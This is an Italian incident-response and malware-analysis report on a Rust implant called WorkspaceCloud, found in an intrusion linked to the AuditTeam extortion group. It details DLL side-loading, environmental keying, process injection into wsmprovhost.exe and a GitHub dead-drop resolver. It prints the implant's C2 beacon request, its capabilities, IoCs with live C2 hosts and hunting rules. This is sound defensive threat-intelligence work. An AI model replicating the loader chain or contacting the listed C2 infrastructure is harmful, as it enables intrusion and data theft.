Durante un’attività di incident response condotta dall’Incident Response Team di Cyberoo, relativa a un’intrusione associata al gruppo estorsivo AuditTeam, è stata individuata una catena malware particolarmente articolata. Il punto di ingresso analizzato combina un eseguibile legittimo Trend Micro, DLL side-loading, verifica dell’ambiente, payload cifrati, process injection e reflective loader. Il risultato finale è un implant nativo scritto in Rust, dotato di funzionalità tipiche di un framework post-exploitation.
La denominazione WorkspaceCloud utilizzata in questo articolo è provvisoria e deriva dagli User-Agent e dalle stringhe presenti nei campioni. Non è stata trovata una corrispondenza affidabile con una famiglia pubblicamente documentata.
AuditTeam: il contesto dell’incidente
AuditTeam è un gruppo emergente comunemente classificato nell’ecosistema ransomware. La comunicazione criminale adotta il linguaggio di una verifica di conformità: la nota viene presentata come un “audit log”, il pagamento come una “audit and consulting fee” e la mancata adesione come motivo per pubblicare i dati e avvisare clienti, partner e autorità.
Le prime attività pubblicamente censite risalgono all’inizio del 2026. I tracker riportano decine di rivendicazioni distribuite fra tecnologia, manifattura, logistica, finanza ed enti pubblici.
Un elemento importante è la scarsità di dati tecnici. Al momento della ricerca pubblica non risultano analisi consolidate della catena d’intrusione, campioni attribuiti con certezza, hash di un encryptor o prove pubbliche. Le informazioni disponibili descrivono soprattutto la nota estorsiva, il portale Tor e la pubblicazione di dati rubati.
Per questo motivo la formulazione corretta è: la backdoor è stata scoperta in un incidente associato ad AuditTeam, non “la backdoor di AuditTeam”. Potrebbe trattarsi di tooling proprietario, di un servizio acquistato da terzi, di una componente fornita da un initial access broker o di malware già presente prima dell’azione estorsiva. I dati disponibili non consentono di scegliere fra queste ipotesi.
La catena di esecuzione
La sequenza ricostruita è la seguente:
TCacheGen_x64.exe legittimo
│
└── DLL side-loading di TCacheGen_x64LOC.dll
│
├── verifica LocalSystem
├── verifica del suffisso DNS aziendale atteso
└── decifratura AES-256-GCM di resource.png
│
└── injector nativo
│
├── crea wsmprovhost.exe sospeso
├── mappa una sezione condivisa
└── devia il thread con SetThreadContext
│
└── shellcode Donut + aPLib
│
└── stager nativo
│
├── bootstrap HTTPS
└── download dell’implant Rust
Abuso di un binario firmato
TCacheGen_x64.exe è un componente legittimo del VDI Pre-Scan Template Generation Tool di Trend Micro. La documentazione ufficiale ne conferma l’uso nelle installazioni Apex One a 64 bit. Il file non dovrebbe pertanto essere bloccato globalmente: l’indicatore utile è la combinazione fra percorso anomalo, DLL adiacente non attesa, parent process e comportamento successivo.
Nell’incidente analizzato da Cyberoo tali file erano presenti nelle seguenti folder:
- C:\Program Files\Vmware\tools
- C:\Program Files\PDFCreator
Il caricamento di TCacheGen_x64LOC.dll sfrutta il normale ordine di ricerca delle DLL, comportamento riconducibile a MITRE ATT&CK T1574.001.
Environmental keying
La DLL malevola non procede indiscriminatamente. Prima di decifrare il payload verifica due condizioni:
- esecuzione nel contesto NT AUTHORITY\SYSTEM;
- presenza di uno specifico suffisso DNS aziendale.
Questa forma di environmental keying riduce il rischio che il campione si attivi in sandbox generiche o presso bersagli diversi da quello previsto.
Dalla risorsa cifrata a wsmprovhost.exe
Superati i controlli, la DLL decifra resource.png con AES-256-GCM. Il contenuto non è un’immagine, ma un injector che crea wsmprovhost.exe in stato sospeso, prepara una sezione condivisa e modifica il contesto del thread affinché l’esecuzione prosegua nel codice iniettato. La deviazione del thread corrisponde a MITRE ATT&CK T1055.003.
Nel processo è stato identificato shellcode generato con Donut, con modulo compresso aPLib. Donut supporta il caricamento in memoria di PE nativi e assembly .NET, la decompressione aPLib e la cancellazione degli header PE: proprietà coerenti con gli artefatti osservati nel dump di memoria.
Il payload Donut carica uno stager nativo, inizialmente denominato WorkspaceCloud sulla base delle stringhe interne.
Analisi dinamica controllata
Il campione è stato analizzato staticamente ed eseguito in un ambiente isolato. Il contesto LocalSystem e il suffisso DNS richiesto sono stati riprodotti intenzionalmente, poiché in loro assenza il loader termina prima della fase malevola.
L’esecuzione ha confermato:
- l’avvio del loader legittimo e il side-loading della DLL;
- la comparsa di exe iniettato nella sessione console;
- la permanenza dello stager in memoria con header PE cancellati;
- 15 tentativi logici di bootstrap TLS in circa cinque minuti;
- l’uso del medesimo hostname C2 già individuato staticamente.
La richiesta osservata segue questo schema:
POST /api/v2/sdk/init HTTP/1.1
Host: d35htktbyt7nxc.cloudfront.net
Content-Type: application/json
X-SDK-Version: 4.2.1
User-Agent: WorkspaceCloud-SDK/4.2.1
Connection: close
{“fp”:”ef0adbae27b624b3″,”d”:”<blob cifrato>”}
Il campo fp non è un identificatore casuale: corrisponde ai primi 16 caratteri esadecimali dello SHA-256 della chiave AES-256 incorporata nello stager. Il campo d contiene invece dati cifrati prodotti dal client.
Durante l’emulazione non è stato osservato alcun accesso al resolver GitHub né all’IP alternativo ricavato staticamente. Lo stager ha privilegiato il C2 CloudFront incorporato.
Recupero del secondo stadio
Una singola ripetizione controllata della richiesta ha restituito dal C2 un oggetto application/octet-stream di 515.100 byte.
Il formato dell’envelope è:
nonce GCM (12 byte) || ciphertext || authentication tag (16 byte)
La decifratura AES-256-GCM ha prodotto un PE valido di 515.072 byte con SHA-256:
4e8b69023192576fad2c5bba654fa99eefe51fba0067bab61c34e3ed4c918356
Il file è una DLL x64 nativa compilata in Rust. Fra gli elementi più rilevanti:
- export operativo Execute;
- PDB residuo pdb;
- User-Agent WorkspaceCloud-SDK/4.2.1 (Windows NT; x64);
- endpoint di tasking /api/v2/sync/pull;
- path sorgente Rust relativi a shell, upload, download, process operations e trasporti HTTP/WebSocket.
Lo stesso C2 per stager e implant
La configurazione del DLL è cifrata con AES-128-ECB. La chiave è suddivisa in quattro export consecutivi denominati CONFIG_KEY_PART_0 fino a CONFIG_KEY_PART_3, mentre il blob è esposto come CONFIG_BLOB.
La configurazione decifrata conferma:
- hostname primario cloudfront.net;
- porta TCP 443;
- TLS attivo;
- il medesimo repository GitHub usato come dead-drop resolver;
- una chiave di trasporto a 256 bit.
Stager e implant condividono quindi lo stesso front-end C2, ma usano endpoint differenti:
| Componente | Endpoint | Funzione |
| Stager | /api/v2/sdk/init | registrazione iniziale e download del DLL |
| Implant | /api/v2/sync/pull | check-in, sincronizzazione e tasking |
L’uso dello stesso hostname non dimostra necessariamente che i due percorsi terminino sullo stesso server origin: una distribuzione CloudFront può instradare path diversi verso backend differenti.
Dead-drop resolver su GitHub
Il malware contiene un URL verso il repository pubblico:
https://github.com/RonaldCMalcolm1983/staticPage
Il contenuto del resolver viene decifrato con AES-GCM e restituisce un endpoint alternativo:
157.20.104.111:443
GitHub non è il canale di tasking ordinario osservato, ma un meccanismo di risoluzione indiretta utile per aggiornare l’infrastruttura senza modificare il binario. Questa tecnica è classificabile come dead-drop resolver, MITRE ATT&CK T1102.001.
Cyberoo ha richiesto a GitHub di chiudere il repository per bloccare o rendere più complessi gli attacchi in essere.
Capacità dell’implant Rust
Import, stringhe e path sorgente mostrano un set di funzioni molto più ampio di un semplice downloader. Sono presenti componenti per:
- shell e shell interattiva;
- upload, download, ripresa e cancellazione dei trasferimenti;
- execute-assembly;
- run-pe e caricamento in memoria;
- process injection e APC;
- PPID spoofing;
- furto e creazione di token, impersonation e getsystem;
- screenshot;
- creazione e gestione di servizi;
- named pipe e comunicazione SMB;
- esecuzione di helper shellcode;
- operazioni compatibili con pass-the-hash;
- trasporti HTTP e WebSocket;
- DNS-over-HTTPS tramite resolver pubblici.
È RUSTYSHADE o un impianto APT36?
L’uso di Rust, GitHub e AES-256-GCM richiama superficialmente RUSTYSHADE, backdoor descritta da Zscaler nell’Operation RapidRust attribuita ad APT36. La somiglianza però non ci può consentire di attribuire in modo preciso la backdoor.
RUSTYSHADE usa repository GitHub privati come C2 diretto, un personal access token incorporato e file come command.txt, results.txt e heartbeat.txt. I messaggi sono codificati Base64 e preceduti dal marker HCENC1:. WorkspaceCloud usa invece CloudFront, endpoint API JSON, un repository GitHub come semplice resolver e un set di comandi differente. Nessuno dei marker specifici di RUSTYSHADE è presente nel DLL recuperato. Zscaler ThreatLabz
Non ci sono quindi basi tecniche sufficienti per identificare il campione come RUSTYSHADE, Cobalt Strike o tooling noto di APT36.
Potrebbe essere un tool ricavato da tale backdoor, un fork o più semplicemente una forte somiglianza.
Relazione con AuditTeam: cosa possiamo affermare
La scoperta durante un incidente AuditTeam è un dato operativo importante, ma non equivale a un’attribuzione del malware. In una moderna intrusione possono coesistere più soggetti:
- initial access broker;
- operatori remoti;
- affiliate o intrusion operator;
- sviluppatore del malware;
- gruppo che gestisce negoziazione e leak site.
La backdoor potrebbe collegare alcune di queste fasi oppure essere indipendente dall’operatore che ha rivendicato l’incidente. In assenza di sovrapposizioni fra infrastruttura, wallet, note estorsive, account criminali o campioni provenienti da altri casi, l’associazione deve restare contestuale.
La scoperta è comunque significativa perché colma parzialmente un vuoto della documentazione pubblica: le fonti disponibili su AuditTeam descrivono l’estorsione e la leak site, ma non una catena malware verificata. Serviranno ulteriori casi per stabilire se WorkspaceCloud ricorra stabilmente nelle operazioni del gruppo.
Indicatori di compromissione
WorkspaceCloud e catena di caricamento
| Tipo | Indicatore | Contesto |
| SHA-256 | ea2898213c4b0acbdc6d2e1175195fbe3f6a26df22bc6050640f391e5ac0c5c3 | DLL caricata tramite side-loading |
| SHA-256 | fa3461f166779fdc248c35b086b657f1c0c3196c49222fed63bb3b9009288dfa | resource.png cifrato |
| SHA-256 | 421b77fec6b3c3b0b80a1caa092623167438170ac61ed87c43343bfaaed2925d | stager nativo |
| SHA-256 | cfbae59aae2fbf28e2339b07b8b5651e610136a8dafb49773e91ce42b0f2dad2 | risposta C2 cifrata recuperata |
| SHA-256 | 4e8b69023192576fad2c5bba654fa99eefe51fba0067bab61c34e3ed4c918356 | implant Rust decifrato |
| Dominio | d35htktbyt7nxc.cloudfront.net | front-end C2 primario |
| IPv4 | 157.20.104.111 | endpoint alternativo ricavato dal resolver |
| URL | https://github.com/RonaldCMalcolm1983/staticPage | dead-drop resolver |
| URI | /api/v2/sdk/init | bootstrap dello stager |
| URI | /api/v2/sync/pull | tasking dell’implant |
| User-Agent | WorkspaceCloud-SDK/4.2.1 | stager |
| User-Agent | WorkspaceCloud-SDK/4.2.1 (Windows NT; x64) | implant |
| Fingerprint | ef0adbae27b624b3 | derivato dalla chiave dello stager |
| Nome file | TCacheGen_x64LOC.dll | DLL malevola, da correlare con percorso e hash |
| PDB | implant.pdb | artefatto del secondo stadio |
Indicatori pubblici associati ad AuditTeam
Questi indicatori provengono da fonti pubbliche e devono essere mantenuti separati dagli IoC di WorkspaceCloud:
| Tipo | Indicatore | Contesto |
| Ransom note | [caratteri casuali].README.txt | schema pubblico della nota |
| Stringa | AUDIT LOG: SEVERE INFRASTRUCTURE COMPROMISE VERIFIED | intestazione della nota |
| Tor | 6tdqqaxftvradka5d2frzgwixis7fmro7rfh4ettzcx7jfapkebe6jad.onion | Data Exposure Terminal |
| Tor | cjg2avmzoly7k6mw7xobnyre354jxro4qegkoazhsmigdk2j3aziexyd.onion | portale alternativo/contatto |
Le informazioni pubbliche su AuditTeam sono ancora instabili; stato e indirizzi devono essere verificati tramite fonti di threat intelligence aggiornate prima di utilizzarli in controlli automatici.
Opportunità di detection e hunting
- Cercare exe in directory non riconducibili a installazioni o workflow Trend Micro previsti
- Verificare la presenza adiacente di dll e confrontarne firma e hash
- Cercare esecuzioni di exe come LocalSystem seguite dalla creazione sospesa di wsmprovhost.exe
- Individuare exe nella sessione console o senza una catena WinRM coerente
- Cercare memoria privata eseguibile, sezioni condivise e regioni PE con header cancellati dentro exe
- Monitorare gli User-Agent WorkspaceCloud, gli endpoint /api/v2/sdk/init e /api/v2/sync/pull e l’hostname C2 completo
- Cercare gli export CONFIG_BLOB, CONFIG_KEY_PART_0 e Execute nei PE x64 sospetti
- Correlare accessi al repository resolver con connessioni successive verso nuovi endpoint su TCP 443
- Per la componente AuditTeam, cercare note *.README.txt contenenti l’intestazione “AUDIT LOG” e grandi trasferimenti in uscita precedenti alla nota o alla cifratura.
Per concludere
WorkspaceCloud mostra una catena progettata per un bersaglio specifico: esecuzione richiesta come LocalSystem, controllo del dominio aziendale, side-loading tramite software legittimo, process injection e più livelli cifrati. Il recupero del secondo stadio ha rivelato un implant Rust maturo, con capacità che vanno ben oltre il semplice accesso remoto.
Il fatto che il campione sia emerso durante un IR associato ad AuditTeam merita attenzione, soprattutto perché il gruppo non dispone ancora di una documentazione tecnica pubblica consolidata. Tuttavia, una singola osservazione non basta per attribuire la backdoor al gruppo.
Di Simone Marinari – Incident Response Lead, Cyberoo